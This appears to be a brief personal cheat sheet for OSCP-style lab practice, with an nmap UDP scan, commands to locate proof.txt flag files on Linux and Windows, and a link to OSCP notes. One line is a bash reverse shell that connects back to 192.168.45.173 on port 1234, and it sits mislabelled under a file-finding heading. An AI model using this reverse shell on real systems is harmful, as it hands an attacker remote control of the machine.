UDP SCANNING:

nmap -sU -sV --version-intensity 0 -F -n 192.168.180.145

FINDING FILE FROM ANYWHERE IN DIRETORY:

/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.173/1234 0>&1'

find / -name "proof.txt" 2>/dev/null

https://mqt.gitbook.io/oscp-notes/ssh-keys?source=post_page-----9c7f5b963559--------------------------------

Global search for flags:

For windows, I start with: dir /A-D /S /B | findstr /i "\proof.txt \local.txt"